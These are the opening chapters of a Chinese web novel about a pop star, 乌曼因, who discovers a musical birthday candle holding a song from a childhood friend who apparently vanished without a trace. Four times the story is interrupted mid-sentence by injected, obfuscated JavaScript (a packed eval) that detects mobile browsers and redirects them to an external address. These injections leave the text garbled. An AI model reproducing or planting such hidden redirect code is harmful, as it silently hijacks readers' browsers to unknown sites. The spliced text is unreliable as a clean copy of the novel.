《声曼[年下]》 1. 乌曼因 半夜一点,空气缓慢凝成胶质,蝉都被热得没精打采的夜晚,沉闷又恼人。 轮胎碾过减速带发出轻微的震动,一辆漆黑低调的SUV缓缓滑入车位,最终停在了魔都一座寸土寸金小区的地下车库里。 乌曼因坐在后座上打盹,蝶翼般的睫毛扑闪几下,敛去女明星不易察觉的疲惫。 等车停稳,乌曼因才打了个哈欠,拎着两个鼓胀的超市塑料袋钻出后座。 只是三小时前生日晚宴上的十厘米细高跟带来的工伤,还在肌肉里残留着幻痛。 她磨磨蹭蹭走了几步。 看出来她的不对劲。 开车的经纪人真音姐连忙从司机位推门下来,接过她一个袋子,可没预估好重量,同样和乌曼因一起趴窝。 真音姐嘶了一声:“怎么这么重?塞了铁坨子吗?” “里面有水乳化妆品,这些密度大。”乌曼因看了看袋子里的东西。 “水乳别上脸啊,不安全,再贵都不行。”真音姐下意识嘱咐。 这话对于乌曼因来说有些多虑了。 因为她不在镜头前出没的大多数时候其实懒得化妆,整天耷拉着眼皮素面朝天。 品牌送她的化妆品基本都是送给相熟的化妆师。 等她需要出席活动时再去白蹭。 双赢。 “我晓得的,这些回头放公司里,有人愿意试试就拿走。” 乌曼因刚说完,摇摇晃晃走了两步。 随着她的动作,塑料袋发出濒临撕裂的呻吟,满涨的礼品盒终于不堪重负,蹦跶出一两个到了地上。 “……” …… 几个小时前,生日晚宴结束后,真音姐让乌曼因去找几个袋子装粉丝和品牌方送的礼物。 万万没想到乌曼因直接从几十万的爱马仕包里翻出俩叠得很仔细、看上去年代也比较久远的超市购物袋,“哗啦”一下潇洒展开。 真音姐:“……” 即使两人是认识很久的朋友,真音也听说乌曼因成名前的生活有些艰难,但还是经常被乌曼因的神奇习惯哽住。 倒也不用那么节省。 乌曼因没理她,把礼物装进购物塑料袋里,再把礼服一脱、妆一卸,两人退场的时候,别说保安,连资深站姐都没认出乌曼因,让她大摇大摆地从正门溜了。 狗仔当然也没有。 在他们的脑子里,乌曼因是谁,一代歌后,音乐app排行榜常青树,拿奖拿到手软的歌坛顶流。 怎么可能穿得像采购大妈一样。 对吧? …… 乌曼因蹲地上把蹦出来的礼物塞了回去,刚才砸在地上的声音挺沉闷的,她怕摔坏了里面的东西,塞之前还打开看了一眼,差点被表盘上的钻石闪瞎了:“怎么还有送手表的,这得多少钱?” 她觉得有点烫手,嘴角抽了抽。 手表盒没有经过包装,只贴了一张“生日快乐”的便利贴,圆珠笔油墨在笔划最后处晕开。品牌原厂的盒子耀武扬威地展现着它不菲的身价。 真音姐眼睛毒,道:“皇家橡树女装系列,价格是有的,但是表盘不太好看,这家卖男表更出名。” “大概多少钱?” “几十万到百万都有。” 乌曼因的表情更沉重了。 “不是说过别送那么贵的东西吗?” 真音姐扫过她纠结的脸,不以为意:“都是心意,你拦得住他们送吗?你这次生日,后援会自发筹措了超过七位数;一本杂志,他们一个人能买几百本。” 乌曼因叹口气,不说话了。 她把手表塞进袋子里,空着的手索性掏出手机开始玩游戏,蓝白的光映在她脸上,手指不停点点点。 “在玩什么?”真音姐随口问。 “杂牌开心消消乐。”乌曼因说。 真音姐过来瞄了一眼,见果然是劣质消消乐后便絮絮叨叨:“怎么不玩有名一点的游戏,最近电竞的热度很不错,据说拿了什么世界赛冠军,很多玩游戏的明星接了代言,互惠互利,我记得你当年游戏打得很好,是这个游戏吧?” 不知道怎么话题又绕回到工作上来了,乌曼因被她念叨得有点分心,望着手机上大大的“失败”,叹口气。 于是打断经纪人的畅想:“很早就不玩了。” “为什么不玩?” “签约了之后没时间,外加游戏搭子没了,”乌曼因一边说,指关节一边无意识摩挲手机边缘的划痕,“何况当年哪有人敢说自己喜欢玩游戏,我要是敢在那时候艹游戏高手人设,早就被唾沫星子淹死了。” 真音姐一想有点道理,只能感叹社会喜好变化也太快了。十年前风靡全国的明星放现在还有点名气的,掰着手指就能数的过来,基本都被时间的浪潮拍死在沙滩上了。 现在时代变了,年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323429|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻的明星都很有个性。 乌曼因有次录综艺,搭档的小男明星人还不错,不抽烟、不喝酒,一下工就抱着手机兢兢业业打游戏,当野王带妹。 只能感叹有些人线下生活丰富多彩,线上也不遑多让啊。 想她也就区区二十八岁,不知道怎么就经常被人评价“曼姐我是听你的歌长大的”,生生把她叫老了一辈。 凭空把她架了起来,打个游戏都属于老艺术家失德。 …… 在真音姐眼里乌曼因是个做什么都能做好的音乐天才,区区游戏自然也手到擒来。 于是乌曼因没好意思说她不宣传自己打游戏的真实原因。 当年她游戏段位当然很高,但是怎么来的值得商榷。 ——十年前她驻唱酒吧的旁边有个网吧,再远点有个高中。 那都是十七八岁的年轻人,键盘上往来无弱者。 被带飞了属于是。 …… 真音姐吃力地扒拉手上的塑料袋走进电梯里,勒得手指生疼。 乌曼因比她好点,单手提着袋子也相当轻松。 她的体力很好,练习生时期她每天拎的四桶冰矿泉水上下楼,汗和冷凝水一起滴落下来,曾经的培训老师总说体力是歌手的基本功,舞台上唱跳五小时没有晕才算有成功的本钱。 进了电梯后,乌曼因跟只大王八一样靠在真音姐背上,带着没有长大的娇憨鼻音轻哼:“真音姐,我二十八岁了啊。” 真音姐被压得呼吸都沉重了些,嫌弃地推了推,没推开,只能“嗯”了一声,说:“生日快乐。” 乌曼因:“生日是昨天,现在已经凌晨一点了。” “嗯。” “我又老了一岁。” “嗯。” “别嗯了,真音姐你有什么生日礼物送给我吗?” “有,大耳巴子要不要。” 乌曼因“呵呵”两声,不说话了。 …… 两人走到房屋门前,乌曼因用指纹开了锁。 防盗门咔嗒落锁,推门而入的瞬间,挤压已久的灰尘气扑面而来。 真音姐打开灯,瞥见玄关柜上倒扣的相框——她记得那张乌曼因捧起第一个全国歌手比赛奖杯的照片。 十九岁的出道照。 少女的脸上带着汗水、以及灿烂生动的笑容,身边站着她的几个同样意气风发的乐队朋友。 2. 莲花蜡烛 屋内乱糟糟的,横七竖八放着各种纸箱子。 这套堆放礼物的房子是乌曼因刚出道的时候买的,那时候她还没什么钱,是个刚刚在娱乐圈混出头的穷鬼,所有的积蓄和签约费全部花在这对门的两套房子上了。 一套自己住;一套空着,没什么用自然没怎么费心装修,久而久之就变成了她放纪念品和礼物的地方。 当年首都的房子还不算很贵,但也不便宜,很多朋友都不知道乌曼因为什么要倾家荡产买两套房子,觉得有这钱还不如去投资,或者买大牌的衣服化妆品。 最后这些不解的眼神最后统统都换成了看巴菲特一般的敬佩。 大概是觉得乌曼因眼光实在超前。 乌曼因以前倒没觉得房子升值很重要,只要她不卖房子,值多少钱无非只是一个数字。 现在她也开始钦佩自己的先见之明了。 以前没名气的时候没话语权,写的歌版权都归公司所有,她其实除了演出费外没有多少收入。 如果没有这套价值已经涨到近亿的房子在,她哪里敢那么爽快地提出解约。 乌曼因把礼物往角落一堆,望着被礼物堆得乱糟糟的房子,叹了口气。 倒不是心疼这套即将离她而去的房子,是实在不耐烦整理这些堆积下来的东西。 十年啊,将近十年粉丝给的礼物全都堆在这里。 可想而知这里到底有多乱。 宽敞的房间里堆满了各种各样的物品,有的东西身价昂贵,有的东西则潦草得像是义乌小商品市场卖不出去的杂货。 屋里房间里外到处都堆叠着连吊牌都没有剪掉的名牌衣服和裙子,被主人遗忘在角落里。 上一次整理还是四年前。 乌曼因记得是有个粉丝别出心裁地做了小点心,小粉丝羞涩地没说,把礼物往乌曼因手上一塞人就跑了;乌曼因又没仔细看,往房间里随便一塞,没过多久,小点心成了虫子们着窝的温床。 乌曼因再次进来的时候一个没防备被异味扑了满脸,不得不带着两个家政阿姨前来大扫除。 “你这里怎么跟垃圾堆一样。”真音姐无心的一句吐槽,又在乌曼因心上插了一刀。 也不知道清理出空房子再挂牌卖出去要多少时间。 她最近真的很缺钱。 真音姐把那已经被砸了一下的手表盒子小心翼翼拿出来,打开一个柜子。 好歹这么贵重,总得放得隐蔽一点。 她往柜子里瞟了一眼,没想到见到了一朵安静地躺在角落里的、廉价莲花蜡烛。 小时候过生日经常见的那种。 十几年前非常流行的、在很多人童年记忆里挥之不去的那种生日莲花蜡烛,一旦点燃,粉色的花瓣就会绽放,然后一群人围着它在关了灯的昏暗房间里唱生日歌,它也会和声唱到天荒地老,直到变成垃圾堆里的女妖哀嚎。 她稀奇地把莲花蜡烛拿出来,招呼乌曼因过来看:“你房子怎么会有这玩意?太古老了吧?” 乌曼因探了个头,见到这蜡烛也有些惊讶,仔细想了想,却没想出这破玩意是从哪里来的。 真的有粉丝会送塑料莲花蜡烛吗? “大概是哪年点生日蛋糕的时候店家送的吧……” 她兴致勃勃地把莲花蜡烛从真音姐手里拿过来,还伸手:“借个火?” “干嘛?” “现成的生日蜡烛,这不得用上?” “你生日已经过了。”真音姐嘴上嫌弃,但还是摸出了自己的打火机递给乌曼因。 在几个小时前,公司和粉丝给她包下了数以千计的无人机和烟花庆祝生日,乌曼因只是看着,脸上尽是公式化空茫的笑容。 远不及她看到桌上这一朵莲花蜡烛忽然随着火焰绽放开时纯粹的开心。 明艳的火光喷涌而出,蜡烛颤了颤,年久失修的机括艰难地将粉色的花瓣一片片掀开,总算开出了一朵莲花的样子。 随后音乐曲调就从花蕊中隐隐穿透出来。 一开始两人还没有反应过来,过了一会儿,忙乱的声音线条在她们的耳中终于织成连贯的曲调。 并不是熟悉的“祝你生日快乐”,而是更陌生的曲调。 是一个少年清越的声音,还没有变声沙哑,带着最年轻清透的飞扬。 仿佛飞鹰展翅翱翔于苍穹,卷起的风凌厉扫过路人的脸颊。 刚入耳就极尽惊艳。 真音姐:“这是什么?粉丝送的礼物?” 乌曼因似乎想起了什么,但她摇摇头,没说话。 此时蜡烛中的音乐又走到了一个全新的阶段,随着旋律的渐进,澎湃的鼓点远去,主部的高音高耸入云,轻柔的和声蜿蜒而过,吹拂过脸颊,归于生命无声旷远的力量。 最后,乌曼因和江彩蝶都觉得归于沉寂的时候,这个年轻青涩男声忽然道:“曼曼,生日快乐。” 乌曼因:“……” 乌曼因条件反射地想要关蜡烛,但抓起蜡烛后才猛地意识到,这可是童年认证出了名会唱到世界尽头的莲花蜡烛。 她只能绝望看着莲花蜡烛里的音乐又不受她控制地从头开始播放。 尴尬在两人之间蔓延。 “那个,你听我狡辩……” 乌曼因心虚地看了眼真音一眼,缩了回去。 真音姐的脸上看不出喜怒。 “前男友?” “那还真不是,我小弟,小弟。”乌曼因听到这话,险些被自己的口水呛死,连连摆手。 她可不是饥不择食的女人。 认识那家伙的时候,她已经是个成年的姑娘,虽然只是刚满18岁,但绝不至于禽兽到看上个毛都没长齐的小鬼。 她用仅剩的印象琢磨了一下,初见时那家伙目测瘦弱的模样,大概也就十四五岁。 一个男孩子,因为总是呆在酒吧昏暗的杂物间里,吃着她从厨房顺来的剩饭或是外卖,安静地听她无厘头的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323430|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎碎念,瘦弱得像bjd娃娃,漂亮的手腕纤细又脆弱,白得发光。 不说话的时候看上去美好又文静,可惜性格是个阴暗的矮个子白蘑菇。 时间一晃十年,算起来,矮她一头的的小鬼都已经是二十多岁的成年男人了。 总之实在没法想象那个家伙成年的样子。 乌曼因在莲花蜡烛前坐着,忽然间想起了很多事。 跟随着明明灭灭的火光,她陷入了某些介于真实和虚假之间的回忆。 …… “这是你写的歌?”男孩在她身边坐下,他长得瘦骨伶仃的,似乎风一吹就能吹倒。 年轻的乌曼因有些心虚地把自己的笔记本合了起来:“你怎么过来了?” “见你没回房间……有点担心,就出来找找。” 见被戳穿了,乌曼因索性也不藏了:“只是随便写写——写歌好难啊。” “我听到了。” “怎么你耳朵也这么好,”乌曼因破罐子破摔,“感觉怎么样?” “不怎么样。” 没想到他那么直白,乌曼因大受打击,她一骨碌坐起来对着男孩:“为什么这么说?” 男孩迟疑了一下,说:“我没有学过音乐,一切都是我的感觉——在你的谱相里,我没有听出数学的美感。” “数学?你在开玩笑吗?” “我没有,”男孩指了指自己的耳朵,“对我来说,数学有声音,而音乐里有脉冲、分形一样的数学在跳跃。” 乌曼因张了张嘴,眼睛里写满了“你在逗我吗”。 男孩知道她不信,他索性闭上眼睛,轻轻哼唱出乌曼因刚才的唱曲调。 乌曼因一直都知道没有成年的男孩声音有一种轻灵的好听。 曾经古罗马人采用阉伶的方法演唱小男孩声音的保鲜期,就是想要保留这种美感。 果然很美好。 男孩先几乎分毫不差地哼唱了一段,然后停下来,说:“如果是我的话,我会这么唱。” 他以和乌曼因几乎相同的小段起手,但是到第二个小节忽然猛地降调转音,然后急促地升起,如海鸥临越水面。 乌曼因本来还不以为意,被着天赐一般的转音震惊到了,她呆呆坐在原地,听男孩即兴将她写出的曲子改编了天籁一般的曲调。 等男孩结束后,乌曼因说:“……我好像听出了有人在海边迎着浪在跑。” “我没有想那么多,”男孩说,“这是你的歌,我只是把它改得更让我喜欢了而已。” 男孩忽然凑过来:“你在想海?你家在海边吗?” “那倒不是,我纯正北京人,”乌曼因顿了一下,说,“只是觉得,好像是很自由广阔的调子。” 像她从来没见过的大海。 …… 这段音乐忽然叩响了乌曼因的记忆大门,她被包裹在支离破碎又五彩斑斓的记忆碎片里。 它渐渐与男孩哼出的曲调重合。 3. 室友关系 真音姐还从没有见过这样的礼物,精巧的爱全部封装在廉价的工业品里,值钱又不值钱。 像有人把爱马仕丝巾系在了村口二狗子脖子上。 一时也分辨不出这朵莲花蜡烛和千架无人机比起来,到底谁更真心实意了。 最后她只能望着其貌不扬的塑料蜡烛,张了张嘴,感叹道,“好有心。” 她没有追问声音的主人和乌曼因之间的关系。 作为职业素养出众的专业音乐经纪人,真音娱乐圈混了十几年,什么大风大浪没见过,只要不闹上法治新闻她都懒得管。 倒是这歌让她职业病发作,耳朵自动开始分析:“说实话,听起来非常像是你写歌的风格,如果放进你的专辑里,我在不知情的情况下都分不出来。完成度很高,除了人声部分,乐器编曲也很优秀,层次感很足,可惜音质太差,模糊了太多细节,我都听不出是乐器实录还是MIDI。” 乌曼因想,因为最初的旋律动机就是她写的来着。 没想到当时随手写下的曲调,被他认真地改编、谱写成了完整的音乐,最后当做礼物送给了她。 和他本人一样,沉默地躺在积满灰尘的柜子里,等着她开启。 如果她今天没有点燃这只蜡烛,如果这辈子都恰好没有发现,那怎么办呢? “倒也没有这么像,主歌太保守了,如果是我的话,不会那么处理。”乌曼因一边神游其他可能性,嘴上一边回答。 说着伸手戳了戳转动的莲花瓣,塑料片发出"咔啦"一声响。 她立刻缩回去,让自己显得不那么手欠。 要说风格的话,真音姐还是听少了,不太熟悉两人的差别。 那家伙是个非常偏科的天才,只看了几本作曲原理的野路子出身半吊子作曲家,他的曲式结构一直带着完美计算的精确,比她严谨许多,极其擅长复调而拙于偏音。 而她自由散漫,写歌更倾向灵机一动。 神的时候很神,鬼的时候很鬼。 乌曼因不得不承认,那家伙写歌的下限是比她高一点。 真音姐突然抓住她手腕:“这歌能火。” “?” “解约后首单就它了。”经纪人眼睛亮得像饿了三天的狼看见肉,出手机就开始录音,“联系方式给我,明天就约录音棚。” 乌曼因见她满脸的见猎心喜,就知道有些人又开始幻想推出一首风靡全国的神曲了。 乌曼因双手一摊:“没联系方式。” “放屁!没联系方式能给你送蜡烛?” “我还想知道呢。”她踹了脚积灰的柜子嘟囔,“闹鬼了。” 真音姐以为她只是面子重,不想低头求人:“你把联系方式给我,我来说。” “唉,姐,”乌曼因把自己的头发抓出个鸡窝,哀叹,“不是不想联系,是真的,我没有他联系方式,从来没有过。” 真的吗,我不信。 “那他怎么给你送的蜡烛?”真音姐问。 乌曼因:“我还想知道呢,我一点印象都没有。” 顿了一下,乌曼因又说:“不过他向来神通广大,凭空给我送一件礼物也不是什么不可能的事情。” “……”你在说什么鬼话? 到底是什么人,能让高傲的、火遍大江南北的一代传奇流行歌天王乌曼因露出这种落寞怀念的神色。 盲目信任到都开始说胡话了。 真音姐看她的眼神充满了看精神病患者的怜爱。 蜡烛转到第三遍时,经纪人突然把手机往桌上一拍:“你最近写不出歌对吧?” 见乌曼因不服想要顶嘴,她压着,“凌云压着你版权不放,不管怎么说,这歌就是你的翻身仗!” 乌曼因把脸埋进膝盖。 她当然知道这首歌很好——从听见第一个音符就知道,这歌能让她重回巅峰。但问题是...... 它出自那个人的手笔。 “让我想想。”她闷声说。 其实没什么好想的。 乌曼因想,她需要吗? 需要一首能帮她“翻身”,让她惊艳回归大众视野的歌吗? 好像也不是很需要。 她是暂时不太有钱,但也饿不死。 她现在一进工作室,就开始发呆,脑子里仿佛是空的,什么都写不出来。 原本喜欢的音乐变成了刺耳的噪音,挥之不去。 随口哼出的旋律开始变得呆板,乌曼因知道这是为什么,因为她厌倦了。 人上了年纪就喜欢回忆过去,忽略掉琐碎与狼狈。 像是安静的少年又在旁边坐下,用那双纯粹的黑瞳望着她。 她有点想那家伙了。 或者说,有点怀念十年前,十八岁肆意的乌曼因和她的朋友们。 在小县城酒吧里,两人都一无所有、相依取暖的时候,她以为她和少年会是一辈子的朋友。 …… “真音姐,”乌曼因忽然问,“你想听一个青春疼痛故事,还是个恐怖故事?” “现在深更半夜,你讲恐怖故事?” 真音有些跟不上乌曼因的脑回路,不知道她葫芦里买的什么药,怎么话题突然从歌曲版权跳跃到恐怖故事上面了。 乌曼因想想也是,她拉了张椅子坐下来,还给真音姐也拉了一张,示意过来一起排排坐。 两人坐在积满灰尘的餐桌前,一同望着桌上莲花蜡烛燃烧悦动的幽幽烛火。 配合着时有电流破音的循环BGM,倒真有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323431|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身在恐怖电影里的感觉了。 乌曼因在想她和少年的故事应该从哪里开始说起。 说起来她最开始见到少年的时候,他脸色惨白,也是在黑暗的房间里捧着一根燃烧的蜡烛。 害得她以为一时不查误入了什么邪教窝点。 总之留下了深刻的初见印象。 “我以前在酒吧卖唱的时候,没什么钱,就被老板安排睡在酒吧的杂物间里,那时他也住在里面,我俩当了两年的室友,”乌曼因掰着指头算了下,“那年我十八,他更小点,未成年。” “等等,”真音姐做了个暂停的手势,“你就算了,为什么未成年会住在酒吧里?” “听他说父母一个死了、一个蹲大牢,家里的房子被拿去抵债,他没地方去,路过酒吧的时候无意间见到杂物间里面有张床,就偷偷住进来了,能有个遮风挡雨的地方比桥洞总好些。” “我看他挺可怜的,就没跟酒吧老板声张,毕竟只是多个室友而已,又不碍着我什么,”时间太久了,乌曼因只能回忆出少年那张模糊的、巴掌大的安静小脸,总是坐在杂物间等着她回来,“他瘦得跟豆芽菜一样,我怕他饿死,天天给他带饭,有我一口吃的就少不了他一口汤喝。” “他这人和普通人不太一样,是个智商很高的天才,学什么都快,那时我磕磕绊绊地开始学创作,他也一起,学得比我快多了,不过我个人感觉他写歌没我有天赋,好归好,就是太平均了。” 听到这儿时,真音姐抽了抽嘴角,也不知道乌曼因嘴里的“平均”到底是个怎么样的评价,只吐槽:“没你有天赋那你还夸他是天才?” “他不是音乐的天才,是数学的天才。” 乌曼因瞥过真音姐的神色,知道她不信。 也正常,在少年消失后,她和很多人讲起他的故事,没有人信。 “我教他唱歌,他自学乐理教我写歌创作,他说等他学会了作曲,就写一首曲子送给我,作为我参加歌手全国大赛的参赛曲。” “……真的写了吗?” 真音记得乌曼因就是在歌手全国大赛中靠着一首原创曲《青鸟》一战成名的。 直到现在那首《青鸟》依然常驻KTV热榜,经久不衰。 可见是经得住时间检验的经典。 反正那年她的异军突起让当时内定好冠亚军的娱乐公司被打了个措手不及。 “假的,”乌曼因没好气地说,“因为在那之前我们就闹掰了,再也不见的那种,他怎么可能还帮我写歌?” “……是挺青春疼痛的,节哀。” “……” 等等,乌曼因忽然意识到,这朵莲花蜡烛里的歌,是不是就是少年承诺给她的礼物。 一首迟到了将近十年的礼物。 4. 不存在的人 真音姐:“那恐怖故事又是什么意思?” 乌曼因:“你不是说半夜不听恐怖故事吗?” “就你这讲故事能力,能恐怖得到那里去?”真音姐摆摆手,“青春疼痛故事遍地都是,现实中的恐怖故事可不好找,你先讲讲怎么个恐怖法?” “……” 好奇心就不要那么重了吧。 乌曼因琢磨着怎么说得吓人点,但绝望地发现自己的措辞能力真的非常一般,只能老老实实地用自己干巴的语言继续叙述。 好在这件事本身就非常不科学,放在天涯灵异版块高低得是个热帖。 “如果我和他是年纪到了,各自走上不同的路,最后再也不见,那只是普通的青春疼痛故事,但是并不是。他不是离开了,是突然间消失了。” “消失了?”真音姐没听懂,“什么叫消失了?” “不是失踪、不是失联,就是消失了,像被从这个世界擦掉了一样。”乌曼因慢慢道。 “那年我得了全国大奖后,一夜之间火遍全国,突然就功成名就了,我除了不知所措外,非常开心,跑回去想要找他,我想问他有没有看我的表演,让他评价一下我有史以来最成功的一次演出。回去的火车上,我都已经计划好了让他跟我认错,我大发慈悲原谅他,我们和好,毕竟作为我的乐理老师,我能得冠军肯定有他的功劳嘛。” “我签约了凌云,有了很多很多的钱,我想和他说我们不用住杂物间了,可以一起到北京开始新的人生。我记得我们曾经躺着床上聊天,等我们有了自己的房子,也要做邻居,那时候他可以天天来我家蹭饭。” “可等我回到了黄钟县,我问遍了那时所有的朋友,包括我们的共同好友,他们跟我说,世界上从来没有这个人,一切都是我的幻想。” 她想,如果她和少年是寻常分别的话,以她心大的性格,过个几年就足以把他扫进大脑不重要的角落里。 她从来不会困扰自己太久。 一个普通的朋友,可以被平淡的提起,也可以在未来重逢的时候多来几杯回忆往昔。 可是她真的买了两套相邻的房子后,却等来了这样从未想过的结局。 这就让她能咬牙切齿地记少年一辈子了。 果然恨比爱长久。 …… “你报警了吗?警察总找得到吧?”真音也觉得不科学。 乌曼因撇嘴:“你能够想到的任何找人方式我当年都试过。” “我在派出所蹲了好几天,警察跟我说,户籍系统里从来没有一个叫‘李藏之’的人。” “更诡异的是,我和他一起报名了歌手的海选赛,报名系统里找不到他的名字,主办方的视频里没有他的身影;而无论是我驻场的酒吧老板、还是乐队的朋友,甚至是我们经常去打游戏的网吧,所有人都咬定他是不存在的。” “我和他甚至没有一张照片留下,”她拿起玄关上那张和乐队的合照,摩挲了几下,轻声道,“如果他当时愿意和我一起来首都,这张照片本来应该是有他的。” 一个人在电子系统里不存在,在社会关系里不存在,只存在于乌曼因的回忆里。 一阵阴风刮过,吹得真音起了一身鸡皮疙瘩。 随着乌曼因的叙述,真音姐大夏天汗毛直立,仿佛真的有一个叫做“李藏之”的透明人站在乌曼因的身后,沉默地出现又消失。 …… 过了一小会,真音姐的大脑开始从故事氛围里挣脱出来,智商迅速占领高地,很快发现了盲点。 她狐疑地问:“不是,如果他是你幻想的话,这首歌是怎么回事?” 在失真的电流麦里,介于少年和青年之间的男声依然很有存在感地回荡萦绕在屋子里。 照乌曼因的说法,记忆可以错乱、人可以撒谎、照片可以ps,但是乌曼因总不至于偷偷写了一首歌,自己包办完全部作曲编曲后,用变声器变了男声,再塞进莲花蜡烛里送给自己吧。 她哪有这种技术。 “怎么回事?”坚定的唯物主义者乌曼因冷笑一声,“全部都在骗我呗。” 她拍案而起,脸上带着明显的烦躁,来回踱了好几步。 乌曼因很生气,又不知道该气谁。 骂同酒吧出身的乐队老朋友们?深更半夜又不能把这群老登从天南海北的被窝里拎出来打一顿。 她同时也意识到,她对于黄钟县那些人和物的记忆,是不真实的。 到底是什么理由,让他们能够异口同声地咬死不知道李藏之的存在。 她第一次知道她其实不了解他们。 不只是李藏之。 这件事无疑让自诩黄钟县酒吧一条街大姐头的乌曼因很受伤。 真音姐拍拍她脑袋,表示自己的同情。 被这么多人做局骗的经历可太稀奇了。 …… 乌曼因很清楚,这些老朋友们都只是帮凶,罪魁祸首有且只有一个。 她曾经最好的朋友,那个自称“李藏之”的少年。 在她的印象里,李藏之几乎不出杂物间,杂乱的房间内是他的全世界,仿佛出了门他就会面对极大的恐惧,会无法呼吸般死掉。 他讨厌和任何人的沟通,一心沉浸在自己的世界里,数学、她不懂的电子机械设备、认识她后逐渐学会的乐理。 他说酒吧老板不知道他住在杂物间,是他偷偷进来的。 他被她拉出来介绍给乐队朋友的时候,满脸写着抗拒。 他说他没上过初中,除了坐牢的爹没有其他亲戚,没人管他。 瘦弱美丽的小男孩满心满眼都是你,仿佛你是他的全世界,在这种诱惑下,他说的所有话乌曼因自然晕乎乎地照单全收。 根本没有考虑过他会撒谎的可能性。 …… “真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16323432|183197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音姐,最近有活动的话,能推的全部帮我推掉,”乌曼因说,“我要回一趟黄钟县,去找他。” 音乐版权的事情是其次,她要是抓不到李藏之的话,她会食不下咽,她的一些美好的社交礼仪、出众的性格,甚至美好的品德都会被毁掉。 真音当然是支持她去找人的,甚至她也想跟过去看热闹,但也有些为难。 乌曼因的合约只剩最后一年,凌云互娱发了疯似的试图压榨她的商业价值。 各种商单如雪片般积压。 江真音对此极其不满,但作为没什么权力的打工人,她对公司上层的要求也无能为力。 她说:“我只能尽量帮你把活动安排在上半月,给你空出七月下半月的时间,你去吧。” “谢啦,我会努力把他押到你面前的。” “要是见到人的话,麻烦对人家客气点,我还指望能让他给你作曲撑过这段时间呢,你别给我搞砸了。” 真音姐对艺人显然没什么信心。 把事情交给乌曼因,你就操心吧。 包出问题的。 …… 去找神秘作曲人的规划目前还太过遥远,希望渺茫。 俗话说得好,生活不止有未来的希望,还有眼前的苟且。 对真音姐来说,这支蜡烛才是眼前唯一能抓到的稻草。 真音姐揽着乌曼因的肩膀:“先想想它怎么解决,一直放着也不是个事,等会儿没电了怎么办?” “没电了就没电了呗,还能怎么办?”乌曼因说。 “那曲子不是没有了?” 乌曼因瞥了眼真音姐的手机:“你不是录了嘛,别忘了发我一份。” “这自带的播放器音质这么差,哪里能入耳?”真音姐说,“我想要是能把音频文件导出来的话,那就太好了。” 廉价的芯片发出刺耳的噪音,粗糙的工业品模糊了音准和细腻的编曲,这首歌曲实在太美妙了,真音姐迫不及待希望见到它真正完美的样子。 乌曼因想了想:“你说的对。” 她的解决方式就是拿出手机开始搜索附近修电子产品的店,毕竟莲花蜡烛四舍五入也是个电子产品。 能修手机怎么不能试试修个莲花蜡烛? 真音姐无语。 “都这么晚了,哪还有开店的?” “试试呗。”乌曼因手很迅速,在平台上向附近的手机维修店店主群发了需求。 “这个点谁接单……” 结果真音姐刚把脸凑过来,眼睛眯起,还没看清楚屏幕上的文字,就有一个夜猫子店主回复了。 事实证明现在的维修工作还挺卷的,24小时都有人待命。 店主:是那种粉色的生日莲花蜡烛吗? 乌曼因:是的[莲花蜡烛照片] 店主:!神奇,怎么做到的? 店主:你拿过来吧,我可以试试 5. 听障 接单的修理铺叫“万元手机”,不是卖高档手机的,年轻店主的名字就叫万元。 店面开在一处不起眼的街角,乌曼因让真音姐把车停在街边,她用外套裹着莲花蜡烛下了车。 四下看看,她都不知道在自个住的高端小区几公里内还有这么破旧的地方。 也不知道城市规划什么时候改造到这里来。 年轻老板顶着鸡窝头和黑眼圈,趿拉着拖鞋从店楼上的休息室走出来,把门上的u型锁打开,开了灯。 老板并没有对乌曼因鬼鬼祟祟的打扮做出什么评价,只多瞥了两眼,觉得有点眼熟。 还是修东西的正事重要,他打了个哈欠说:“把东西给我看看吧。” 乌曼因将一坨外套递给他,拨出了里面还在唱歌的蜡烛。 这东西实在有点扰民,不包起来不行。 “能拆吗?” 乌曼因谨慎道:“不影响声音就行。” 